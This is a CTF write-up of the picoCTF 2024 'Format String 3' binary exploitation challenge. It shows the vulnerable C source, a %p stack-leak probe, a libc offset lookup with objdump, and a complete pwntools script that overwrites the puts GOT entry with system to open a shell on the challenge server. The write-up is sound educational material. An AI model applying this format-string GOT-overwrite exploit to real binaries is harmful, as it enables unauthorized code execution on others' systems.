- Published on
picoCTF - 2024 - Pwn - Format String 3
- Authors
- Name
- Muhammad Haris
- @ArcusTen
Challenge Description

Solution
Following files were provided:
format-string-3
format-string-3.c
libc.so.6
ld-linux-x86-64.so.2
Before starting, I want to say that I am not an expert when it comes to binary exploitation. If you find mistakes in my write-ups, please let me know. I am open to any sort of constructive criticism.
Source code provided to us:
#include <stdio.h>
#define MAX_STRINGS 32
char *normal_string = "/bin/sh";
void setup() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
void hello() {
puts("Howdy gamers!");
printf("Okay I'll be nice. Here's the address of setvbuf in libc: %p\n", &setvbuf);
}
int main() {
char *all_strings[MAX_STRINGS] = {NULL};
char buf[1024] = {'\0'};
setup();
hello();
fgets(buf, 1024, stdin);
printf(buf);
puts(normal_string);
return 0;
}
The most interesting part in this code is:
puts(normal_string);
At the end of the main function, the parameter passed to the puts
function (normal_string
) contains the content "/bin/sh". If we can change this puts
function into a system call, we can spawn a shell. This can be achieved by overwriting entries in the Global Offset Table (GOT), which is a table inside the binary that stores the memory addresses of different library calls. Let's take a look at it:

To overwrite GOT entry, we need to find the offset of our input string on the stack, offset of setvbuf
from the libc base to calculate address of libc base (as the setvbuf is given).
First, lets find out the starting index, i will pass 8 ‘A’ and will leak the addresses of the stack so that I can clearly see where the input is being stored:
AAAAAAAA|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|
Here I can see that my offset is 38
:

Now, as the address of setvbuf
is given, we only need to calcluate the address of libc base. For that, I need to know the offset of setvbuf from the libc base. It can be found using objdump
on the binary:
objdump -T ./libc.so.6 | grep "setvbuf"

This is how libc base address will be calculated:
libc.address = <leaked_setvbuf_address> - 0x000000000007a3f0
For creating the payload, I took help from a Guide on Format String Bug written by TheFlash2k.
He has also explain how to overwrite entries on the GOT. [Source]
So the final payload that I created:
#!/usr/bin/env python3
from pwn import *
context.terminal = ["tmux", "splitw", "-h"]
exe = "./format-string-3"
elf = context.binary = ELF(exe)
libc = ELF("./libc.so.6")
#io = process()
io = remote("rhea.picoctf.net", 52286)
if args.GDB: gdb.attach(io, "b *main+127") # gdb attachment
start = 38
io.recvuntil(b'setvbuf in libc: ')
leak = int(io.recvline().strip(), 16)
print("setvbuf @ %#x" % leak)
libc.address = leak - 0x000000000007a3f0
print("libc @ %#x" % libc.address)
payload = fmtstr_payload(start, {elf.sym.got.puts: libc.sym.system})
io.sendline(payload)
io.interactive()
Flag:

That’s it for today’s blog, take Care 😃